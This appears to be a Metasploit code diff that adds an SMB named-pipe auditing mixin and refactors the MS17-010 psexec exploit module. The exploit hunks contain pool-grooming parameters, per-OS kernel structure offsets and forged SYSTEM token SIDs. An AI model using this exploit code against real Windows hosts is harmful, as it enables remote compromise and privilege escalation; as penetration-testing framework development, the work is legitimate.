@ -19,6 +19,11 @@ To be able to use exploit/windows/smb/ms17_010_psexec:
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules. You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
If you're having trouble configuring an anonymous named pipe,
Microsoft's
[documentation](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously)
on the topic may be helpful.
## Verification Steps ## Verification Steps
At the minimum, you should be able use psexec to get a session with a valid credential using the following: At the minimum, you should be able use psexec to get a session with a valid credential using the following:

View File

@ -165,7 +165,7 @@ module Scriptable
full_path = self.class.find_script_path(script_name) full_path = self.class.find_script_path(script_name)
if full_path.nil? if full_path.nil?
print_error("The specified script could not be found: #{script_name}") print_error("The specified #{self.type} session script could not be found: #{script_name}")
return return
end end

View File

@ -32,6 +32,7 @@ require 'msf/core/exploit/smb/client'
require 'msf/core/exploit/smb/client/authenticated' require 'msf/core/exploit/smb/client/authenticated'
require 'msf/core/exploit/smb/client/local_paths' require 'msf/core/exploit/smb/client/local_paths'
require 'msf/core/exploit/smb/client/psexec' require 'msf/core/exploit/smb/client/psexec'
require 'msf/core/exploit/smb/client/pipe_auditor'
require 'msf/core/exploit/smb/client/psexec_ms17_010' require 'msf/core/exploit/smb/client/psexec_ms17_010'
require 'msf/core/exploit/smb/client/remote_paths' require 'msf/core/exploit/smb/client/remote_paths'
require 'msf/core/exploit/smb/server' require 'msf/core/exploit/smb/server'

View File

@ -0,0 +1,61 @@
# -*- coding: binary -*-
#
# This mixin implements the pipe_auditor module's primary functionality
#
module Msf
module Exploit::Remote::SMB::Client::PipeAuditor
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super
named_pipes = File.join(Msf::Config.data_directory, 'wordlists', 'named_pipes.txt')
register_options([
OptPath.new('NAMED_PIPES', [true, 'List of named pipes to check', named_pipes])
])
end
# Check named pipes, returning the first optionally
#
# @param check_first [Array] Check the specified pipes first
# @param return_first [Boolean] Return the first pipe name and handle
# @return [Array] The list of found pipes (name and handle)
def check_named_pipes(check_first: [], return_first: false)
@found_pipes = []
if check_first.is_a?(Array)
check_first.delete_if { |pipe| pipe.blank? }
elsif check_first.is_a?(String) && check_first.present?
check_first = [check_first]
else
check_first = []
end
named_pipes = check_first + File.readlines(datastore['NAMED_PIPES'])
named_pipes.each do |pipe|
begin
pipe_name = pipe.strip
pipe_handle = self.simple.create_pipe(pipe_name, 'o')
# If we make it this far, it succeeded
vprint_status("Connected to named pipe: #{pipe_name}")
# This is for exploits like ms17_010_psexec
return pipe_name, pipe_handle if return_first
@found_pipes << [pipe_name, pipe_handle]
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Inaccessible named pipe: #{pipe_name} - #{e.message}")
end
end
@found_pipes
end
end
end

View File

@ -1,8 +1,8 @@
module Msf module Msf
module Exploit::Remote::SMB::Client::Psexec_MS17_010 module Exploit::Remote::SMB::Client::Psexec_MS17_010
include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Exploit::Remote::SMB::Client::Psexec
include Msf::Exploit::Remote::SMB::Client::PipeAuditor
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Tcp
def initialize(info = {}) def initialize(info = {})
@ -231,7 +231,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
return userAndGroupsAddr, userAndGroupCount return userAndGroupsAddr, userAndGroupCount
end end
def write_what_where(what, where) def write_what_where(what, where)
if where == 0 if where == 0
raise MS17_010_Error, 'Attempted to write to a NULL pointer!' raise MS17_010_Error, 'Attempted to write to a NULL pointer!'
@ -299,7 +298,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
def fingerprint_os(os) def fingerprint_os(os)
print_status("Target OS: #{os}") print_status("Target OS: #{os}")
if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012' if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012' or os.starts_with? 'Windows RT 9200'
@ctx['os'] = 'WIN8' @ctx['os'] = 'WIN8'
@ctx['go_fish'] = false @ctx['go_fish'] = false
elsif os.starts_with? 'Windows 7 ' or os.starts_with? 'Windows Server 2008 R2' elsif os.starts_with? 'Windows 7 ' or os.starts_with? 'Windows Server 2008 R2'
@ -331,26 +330,17 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
end end
end end
def find_accessible_named_pipe() def find_accessible_named_pipe
pipes = if datastore['NAMEDPIPE'] != '' then [datastore['NAMEDPIPE']] else @@target_pipes end @ctx['pipe_name'], pipe_handle = check_named_pipes(
check_first: datastore['NAMEDPIPE'],
return_first: true
)
pipes.each do |pipe| if @ctx['pipe_name'] && pipe_handle
begin pipe_handle
pipe_name = "#{pipe}" else
pipe_handle = self.simple.create_pipe(pipe_name, 'o') raise MS17_010_Error, 'Unable to find accessible named pipe!'
# if we make it this far, it succeeded
vprint_status("Connected to named pipe: #{pipe}")
@ctx['pipe_name'] = pipe_name
return pipe_handle
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Inaccessible named pipe: #{pipe} - #{e.message}")
end
end end
raise MS17_010_Error, "Unable to find accessible named pipe!"
end end
# todo: spice it up with EternalSynergy output # todo: spice it up with EternalSynergy output
@ -368,7 +358,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
# groom: srv buffer header # groom: srv buffer header
@ctx['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + @ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'], @ctx['POOL_ALIGN']) @ctx['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + @ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'], @ctx['POOL_ALIGN'])
# groom paramters and data is alignment by 8 because it is NT_TRANS # groom paramters and data is alignment by 8 because it is NT_TRANS
@ctx['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - @ctx['TRANS_SIZE'] # alignment (4) @ctx['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - @ctx['TRANS_SIZE'] # alignment (4)
@ -376,7 +365,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
bridePoolSize = 0x1000 - (@ctx['GROOM_POOL_SIZE'] & 0xfff) - @ctx['FRAG_POOL_SIZE'] bridePoolSize = 0x1000 - (@ctx['GROOM_POOL_SIZE'] & 0xfff) - @ctx['FRAG_POOL_SIZE']
@ctx['BRIDE_TRANS_SIZE'] = bridePoolSize - (@ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN']) @ctx['BRIDE_TRANS_SIZE'] = bridePoolSize - (@ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'])
if datastore['DBGTRACE'] if datastore['DBGTRACE']
print_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}") print_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}")
print_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}") print_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}")
@ -391,7 +379,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
for i in 0..datastore['LEAKATTEMPTS'] for i in 0..datastore['LEAKATTEMPTS']
reset_extra_multiplex_id() reset_extra_multiplex_id()
vprint_status("Attempting leak ##{i.to_s}") vprint_status("Attempting leak ##{i.to_s}")
leakInfo = align_transaction_and_leak(pipe_handle) leakInfo = align_transaction_and_leak(pipe_handle)
@ -416,7 +403,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
pipe_handle = self.simple.create_pipe(@ctx['pipe_name'], 'o') pipe_handle = self.simple.create_pipe(@ctx['pipe_name'], 'o')
end end
@ctx['fid'] = pipe_handle.file_id @ctx['fid'] = pipe_handle.file_id
@ctx['pipe_handle'] = pipe_handle @ctx['pipe_handle'] = pipe_handle
@ctx = @ctx.merge(leakInfo) @ctx = @ctx.merge(leakInfo)
@ -699,7 +685,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
end end
if not success if not success
print_status("<---------------- | Leaving Danger Zone | ---------------->") print_status("<---------------- | Leaving Danger Zone | ---------------->")
raise MS17_010_Error, "Unable to control groom transaction" raise MS17_010_Error, "Unable to control groom transaction"
@ -823,7 +808,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
@ctx['trans2_addr'] = trans2_addr @ctx['trans2_addr'] = trans2_addr
end end
def create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr) def create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
xSID_SYSTEM = "\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00" # pack('<BB5xB'+'I', 1, 1, 5, 18) xSID_SYSTEM = "\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00" # pack('<BB5xB'+'I', 1, 1, 5, 18)
xSID_ADMINISTRATORS = "\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00" #pack('<BB5xB'+'II', 1, 2, 5, 32, 544) xSID_ADMINISTRATORS = "\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00" #pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
@ -1182,254 +1166,222 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
return (size + align_size - 1) & ~(align_size - 1) return (size + align_size - 1) & ~(align_size - 1)
end end
WIN7_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET'=> 0xa0,
'SESSION_ISNULL_OFFSET'=> 0xba,
'FAKE_SECCTX'=> [0x28022a, 1, 0, 0, 2, 0, 1].pack("VVQ<Q<VVC"), #pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE'=> 0x28,
}
# we will iter these if one is not specified WIN7_32_SESSION_INFO = {
@@target_pipes = [ 'SESSION_SECCTX_OFFSET'=> 0x80,
'netlogon', 'SESSION_ISNULL_OFFSET'=> 0x96,
'lsarpc', 'FAKE_SECCTX'=> [0x1c022a, 1, 0, 0, 2, 0, 1].pack("VVVVVVC"), #pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
'samr', 'SECCTX_SIZE'=> 0x1c,
'browser', }
'atsvc',
'DAV RPC SERVICE',
'epmapper',
'eventlog',
'InitShutdown',
'keysvc',
'lsass',
'LSM_API_service',
'ntsvcs',
'plugplay',
'protected_storage',
'router',
'SapiServerPipeS-1-5-5-0-70123',
'scerpc',
'srvsvc',
'tapsrv',
'trkwks',
'W32TIME_ALT',
'wkssvc',
'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER',
'db2remotecmd'
]
WIN7_64_SESSION_INFO = { # win8+ info
'SESSION_SECCTX_OFFSET'=> 0xa0, WIN8_64_SESSION_INFO = {
'SESSION_ISNULL_OFFSET'=> 0xba, 'SESSION_SECCTX_OFFSET'=> 0xb0,
'FAKE_SECCTX'=> [0x28022a, 1, 0, 0, 2, 0, 1].pack("VVQ<Q<VVC"), #pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1), 'SESSION_ISNULL_OFFSET'=> 0xca,
'SECCTX_SIZE'=> 0x28, 'FAKE_SECCTX'=> [0x38022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVQ<Q<Q<Q<VVC"), #pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
} 'SECCTX_SIZE'=> 0x38,
}
WIN7_32_SESSION_INFO = { WIN8_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET'=> 0x80, 'SESSION_SECCTX_OFFSET'=> 0x88,
'SESSION_ISNULL_OFFSET'=> 0x96, 'SESSION_ISNULL_OFFSET'=> 0x9e,
'FAKE_SECCTX'=> [0x1c022a, 1, 0, 0, 2, 0, 1].pack("VVVVVVC"), #pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1), 'FAKE_SECCTX'=> [0x24022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVVVVVVVC"), # pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE'=> 0x1c, 'SECCTX_SIZE'=> 0x24,
} }
# win8+ info # win 2003 (xp 64 bit is win 2003)
WIN8_64_SESSION_INFO = { WIN2K3_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET'=> 0xb0, 'SESSION_ISNULL_OFFSET'=> 0xba,
'SESSION_ISNULL_OFFSET'=> 0xca, 'SESSION_SECCTX_OFFSET'=> 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'FAKE_SECCTX'=> [0x38022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVQ<Q<Q<Q<VVC"), #pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1), 'SECCTX_PCTXTHANDLE_OFFSET'=> 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'SECCTX_SIZE'=> 0x38, 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x40,
} 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
}
WIN8_32_SESSION_INFO = { WIN2K3_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET'=> 0x88, 'SESSION_ISNULL_OFFSET'=> 0x96,
'SESSION_ISNULL_OFFSET'=> 0x9e, 'SESSION_SECCTX_OFFSET'=> 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'FAKE_SECCTX'=> [0x24022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVVVVVVVC"), # pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1), 'SECCTX_PCTXTHANDLE_OFFSET'=> 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'SECCTX_SIZE'=> 0x24, 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
} 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
}
# win 2003 (xp 64 bit is win 2003) # win xp
WIN2K3_64_SESSION_INFO = { WINXP_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET'=> 0xba, 'SESSION_ISNULL_OFFSET'=> 0x94,
'SESSION_SECCTX_OFFSET'=> 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+) 'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'SECCTX_PCTXTHANDLE_OFFSET'=> 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x40, 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c, 'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68, 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'=> 0x40,
} 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'=> 0x5c,
}
WIN2K3_32_SESSION_INFO = { WIN2K_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET'=> 0x96, 'SESSION_ISNULL_OFFSET'=> 0x94,
'SESSION_SECCTX_OFFSET'=> 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+) 'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'SECCTX_PCTXTHANDLE_OFFSET'=> 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24, 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x3c,
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c, 'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x58,
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68, }
}
# win xp # for windows 2008+
WINXP_32_SESSION_INFO = { WIN7_32_TRANS_INFO = {
'SESSION_ISNULL_OFFSET'=> 0x94, 'TRANS_SIZE' => 0xa0, # struct size
'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed 'TRANS_FLINK_OFFSET' => 0x18,
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24, 'TRANS_INPARAM_OFFSET' => 0x40,
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c, 'TRANS_OUTPARAM_OFFSET' => 0x44,
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68, 'TRANS_INDATA_OFFSET' => 0x48,
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'=> 0x40, 'TRANS_OUTDATA_OFFSET' => 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'=> 0x5c, 'TRANS_PARAMCNT_OFFSET' => 0x58,
} 'TRANS_TOTALPARAMCNT_OFFSET' => 0x5c,
'TRANS_FUNCTION_OFFSET' => 0x72,
'TRANS_MID_OFFSET' => 0x80,
}
WIN2K_32_SESSION_INFO = { WIN7_64_TRANS_INFO = {
'SESSION_ISNULL_OFFSET'=> 0x94, 'TRANS_SIZE' => 0xf8, # struct size
'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed 'TRANS_FLINK_OFFSET' => 0x28,
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24, 'TRANS_INPARAM_OFFSET' => 0x70,
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x3c, 'TRANS_OUTPARAM_OFFSET' => 0x78,
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x58, 'TRANS_INDATA_OFFSET' => 0x80,
} 'TRANS_OUTDATA_OFFSET' => 0x88,
'TRANS_PARAMCNT_OFFSET' => 0x98,
'TRANS_TOTALPARAMCNT_OFFSET' => 0x9c,
'TRANS_FUNCTION_OFFSET' => 0xb2,
'TRANS_MID_OFFSET' => 0xc0,
}
# for windows 2008+ WIN5_32_TRANS_INFO = {
WIN7_32_TRANS_INFO = { 'TRANS_SIZE' => 0x98, # struct size
'TRANS_SIZE' => 0xa0, # struct size 'TRANS_FLINK_OFFSET' => 0x18,
'TRANS_FLINK_OFFSET' => 0x18, 'TRANS_INPARAM_OFFSET' => 0x3c,
'TRANS_INPARAM_OFFSET' => 0x40, 'TRANS_OUTPARAM_OFFSET' => 0x40,
'TRANS_OUTPARAM_OFFSET' => 0x44, 'TRANS_INDATA_OFFSET' => 0x44,
'TRANS_INDATA_OFFSET' => 0x48, 'TRANS_OUTDATA_OFFSET' => 0x48,
'TRANS_OUTDATA_OFFSET' => 0x4c, 'TRANS_PARAMCNT_OFFSET' => 0x54,
'TRANS_PARAMCNT_OFFSET' => 0x58, 'TRANS_TOTALPARAMCNT_OFFSET' => 0x58,
'TRANS_TOTALPARAMCNT_OFFSET' => 0x5c, 'TRANS_FUNCTION_OFFSET' => 0x6e,
'TRANS_FUNCTION_OFFSET' => 0x72, 'TRANS_PID_OFFSET' => 0x78,
'TRANS_MID_OFFSET' => 0x80, 'TRANS_MID_OFFSET' => 0x7c,
} }
WIN7_64_TRANS_INFO = { WIN5_64_TRANS_INFO = {
'TRANS_SIZE' => 0xf8, # struct size 'TRANS_SIZE' => 0xe0, # struct size
'TRANS_FLINK_OFFSET' => 0x28, 'TRANS_FLINK_OFFSET' => 0x28,
'TRANS_INPARAM_OFFSET' => 0x70, 'TRANS_INPARAM_OFFSET' => 0x68,
'TRANS_OUTPARAM_OFFSET' => 0x78, 'TRANS_OUTPARAM_OFFSET' => 0x70,
'TRANS_INDATA_OFFSET' => 0x80, 'TRANS_INDATA_OFFSET' => 0x78,
'TRANS_OUTDATA_OFFSET' => 0x88, 'TRANS_OUTDATA_OFFSET' => 0x80,
'TRANS_PARAMCNT_OFFSET' => 0x98, 'TRANS_PARAMCNT_OFFSET' => 0x90,
'TRANS_TOTALPARAMCNT_OFFSET' => 0x9c, 'TRANS_TOTALPARAMCNT_OFFSET' => 0x94,
'TRANS_FUNCTION_OFFSET' => 0xb2, 'TRANS_FUNCTION_OFFSET' => 0xaa,
'TRANS_MID_OFFSET' => 0xc0, 'TRANS_PID_OFFSET' => 0xb4,
} 'TRANS_MID_OFFSET' => 0xb8,
}
WIN5_32_TRANS_INFO = { X86_INFO = {
'TRANS_SIZE' => 0x98, # struct size 'ARCH' => 'x86',
'TRANS_FLINK_OFFSET' => 0x18, 'PTR_SIZE' => 4,
'TRANS_INPARAM_OFFSET' => 0x3c, 'PTR_FMT' => 'V',
'TRANS_OUTPARAM_OFFSET' => 0x40, 'FRAG_TAG_OFFSET' => 12,
'TRANS_INDATA_OFFSET' => 0x44, 'POOL_ALIGN' => 8,
'TRANS_OUTDATA_OFFSET' => 0x48, 'SRV_BUFHDR_SIZE' => 8,
'TRANS_PARAMCNT_OFFSET' => 0x54, }
'TRANS_TOTALPARAMCNT_OFFSET' => 0x58,
'TRANS_FUNCTION_OFFSET' => 0x6e,
'TRANS_PID_OFFSET' => 0x78,
'TRANS_MID_OFFSET' => 0x7c,
}
WIN5_64_TRANS_INFO = { X64_INFO = {
'TRANS_SIZE' => 0xe0, # struct size 'ARCH' => 'x64',
'TRANS_FLINK_OFFSET' => 0x28, 'PTR_SIZE' => 8,
'TRANS_INPARAM_OFFSET' => 0x68, 'PTR_FMT' => 'Q<',
'TRANS_OUTPARAM_OFFSET' => 0x70, 'FRAG_TAG_OFFSET' => 0x14,
'TRANS_INDATA_OFFSET' => 0x78, 'POOL_ALIGN' => 0x10,
'TRANS_OUTDATA_OFFSET' => 0x80, 'SRV_BUFHDR_SIZE' => 0x10,
'TRANS_PARAMCNT_OFFSET' => 0x90, }
'TRANS_TOTALPARAMCNT_OFFSET' => 0x94,
'TRANS_FUNCTION_OFFSET' => 0xaa,
'TRANS_PID_OFFSET' => 0xb4,
'TRANS_MID_OFFSET' => 0xb8,
}
X86_INFO = { OS_ARCH_INFO = {
'ARCH' => 'x86', # for Windows Vista, 2008, 7 and 2008 R2
'PTR_SIZE' => 4, 'WIN7' => {
'PTR_FMT' => 'V', 'x86' => {
'FRAG_TAG_OFFSET' => 12, 'CPUARCH' => X86_INFO,
'POOL_ALIGN' => 8, 'OFFSETS' => WIN7_32_TRANS_INFO,
'SRV_BUFHDR_SIZE' => 8, 'SESSION' => WIN7_32_SESSION_INFO
}
X64_INFO = {
'ARCH' => 'x64',
'PTR_SIZE' => 8,
'PTR_FMT' => 'Q<',
'FRAG_TAG_OFFSET' => 0x14,
'POOL_ALIGN' => 0x10,
'SRV_BUFHDR_SIZE' => 0x10,
}
OS_ARCH_INFO = {
# for Windows Vista, 2008, 7 and 2008 R2
'WIN7' => {
'x86' => {
'CPUARCH' => X86_INFO,
'OFFSETS' => WIN7_32_TRANS_INFO,
'SESSION' => WIN7_32_SESSION_INFO
},
'x64' => {
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN7_64_TRANS_INFO,
'SESSION' => WIN7_64_SESSION_INFO
},
}, },
# for Windows 8 and later 'x64' => {
'WIN8' => { 'CPUARCH' => X64_INFO,
'x86' => { 'OFFSETS' => WIN7_64_TRANS_INFO,
'CPUARCH' => X86_INFO, 'SESSION' => WIN7_64_SESSION_INFO
'OFFSETS' => WIN7_32_TRANS_INFO,
'SESSION' => WIN8_32_SESSION_INFO
},
'x64' => {
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN7_64_TRANS_INFO,
'SESSION' => WIN8_64_SESSION_INFO
},
}, },
'WINXP' => { },
'x86' => { # for Windows 8 and later
'CPUARCH' => X86_INFO, 'WIN8' => {
'OFFSETS' => WIN5_32_TRANS_INFO, 'x86' => {
'SESSION' => WINXP_32_SESSION_INFO 'CPUARCH' => X86_INFO,
}, 'OFFSETS' => WIN7_32_TRANS_INFO,
'x64' => { 'SESSION' => WIN8_32_SESSION_INFO
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN5_64_TRANS_INFO,
'SESSION' => WIN2K3_64_SESSION_INFO
},
}, },
'WIN2K3' => { 'x64' => {
'x86' => { 'CPUARCH' => X64_INFO,
'CPUARCH' => X86_INFO, 'OFFSETS' => WIN7_64_TRANS_INFO,
'OFFSETS' => WIN5_32_TRANS_INFO, 'SESSION' => WIN8_64_SESSION_INFO
'SESSION' => WIN2K3_32_SESSION_INFO
},
'x64' => {
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN5_64_TRANS_INFO,
'SESSION' => WIN2K3_64_SESSION_INFO
},
}, },
'WIN2K' => { },
'x86' => { 'WINXP' => {
'CPUARCH' => X86_INFO, 'x86' => {
'OFFSETS' => WIN5_32_TRANS_INFO, 'CPUARCH' => X86_INFO,
'SESSION' => WIN2K_32_SESSION_INFO 'OFFSETS' => WIN5_32_TRANS_INFO,
}, 'SESSION' => WINXP_32_SESSION_INFO
}, },
} 'x64' => {
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN5_64_TRANS_INFO,
'SESSION' => WIN2K3_64_SESSION_INFO
},
},
'WIN2K3' => {
'x86' => {
'CPUARCH' => X86_INFO,
'OFFSETS' => WIN5_32_TRANS_INFO,
'SESSION' => WIN2K3_32_SESSION_INFO
},
'x64' => {
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN5_64_TRANS_INFO,
'SESSION' => WIN2K3_64_SESSION_INFO
},
},
'WIN2K' => {
'x86' => {
'CPUARCH' => X86_INFO,
'OFFSETS' => WIN5_32_TRANS_INFO,
'SESSION' => WIN2K_32_SESSION_INFO
},
},
}
def pick_ctx() def pick_ctx()
pick = OS_ARCH_INFO[@ctx['os']][@ctx['arch']] pick = OS_ARCH_INFO[@ctx['os']][@ctx['arch']]
@ctx = @ctx.merge(pick['CPUARCH']) @ctx = @ctx.merge(pick['CPUARCH'])
@ctx = @ctx.merge(pick['OFFSETS']) @ctx = @ctx.merge(pick['OFFSETS'])
@ctx = @ctx.merge(pick['SESSION']) @ctx = @ctx.merge(pick['SESSION'])
@ctx @ctx
end end
GROOM_TRANS_SIZE = 0x5010 # includes transaction name, parameters and data, multiple of 16 to make FRAG_TAG_OFFSET valid
TRANS_NAME_LEN = 4
GROOM_TRANS_SIZE = 0x5010 # includes transaction name, parameters and data, multiple of 16 to make FRAG_TAG_OFFSET valid X64_FRAG_TAG_OFFSET = 0x14
TRANS_NAME_LEN = 4 X64_POOL_ALIGN = 0x10
X64_FRAG_TAG_OFFSET = 0x14 X86_FRAG_TAG_OFFSET = 0x0c
X64_POOL_ALIGN = 0x10 X86_POOL_ALIGN = 0x08
X86_FRAG_TAG_OFFSET = 0x0c
X86_POOL_ALIGN = 0x08
end end
end end

View File

@ -50,18 +50,11 @@ module Msf
Msf::OptPort.new(__method__.to_s, [ required, desc, default ]) Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end end
def self.ssl_supported_options
@m ||= ['Auto', 'TLS'] + OpenSSL::SSL::SSLContext::METHODS \
.select{|m| !m.to_s.include?('client') && !m.to_s.include?('server')} \
.select{|m| OpenSSL::SSL::SSLContext.new(m) && true rescue false} \
.map{|m| m.to_s.sub(/v/, '').sub('_', '.')}
end
# @return [OptEnum] # @return [OptEnum]
def self.SSLVersion def self.SSLVersion
Msf::OptEnum.new('SSLVersion', Msf::OptEnum.new('SSLVersion',
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', 'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
enums: self.ssl_supported_options enums: Rex::Socket::SslTcp.supported_ssl_methods
) )
end end

View File

@ -38,6 +38,7 @@ module Msf
"search" => "Searches module names and descriptions", "search" => "Searches module names and descriptions",
"show" => "Displays modules of a given type, or all modules", "show" => "Displays modules of a given type, or all modules",
"use" => "Selects a module by name", "use" => "Selects a module by name",
"reload_lib" => "Load a library file from specified path",
} }
end end
@ -64,6 +65,44 @@ module Msf
framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR')
end end
def reload_file(path, err_msg = 'Only library files can be loaded.')
if path.end_with?('.rb')
print_status("Reloading #{path}")
load path
else
print_error(err_msg)
end
end
def cmd_reload_lib_help
print_line 'Usage: reload_lib [lib/to/load.rb]'
print_line
print_line 'Load a library from specified path'
end
#
# Load a library file from given path
#
def cmd_reload_lib(*args)
if args.length > 0
path = args[0]
end
if args.include?('-h') || args.include?('--help')
cmd_reload_lib_help
return
end
if path.nil?
print_error('Nothing to load.')
return
end
reload_file(path)
end
def cmd_reload_lib_tabs(str, words)
tab_complete_filenames(str, words)
end
def cmd_edit_help def cmd_edit_help
print_line "Usage: edit [file/to/edit.rb]" print_line "Usage: edit [file/to/edit.rb]"
print_line print_line
@ -104,12 +143,7 @@ module Msf
return if editing_module return if editing_module
# XXX: This will try to reload *any* .rb and break on modules # XXX: This will try to reload *any* .rb and break on modules
if path.end_with?('.rb') reload_file(path)
print_status("Reloading #{path}")
load path
else
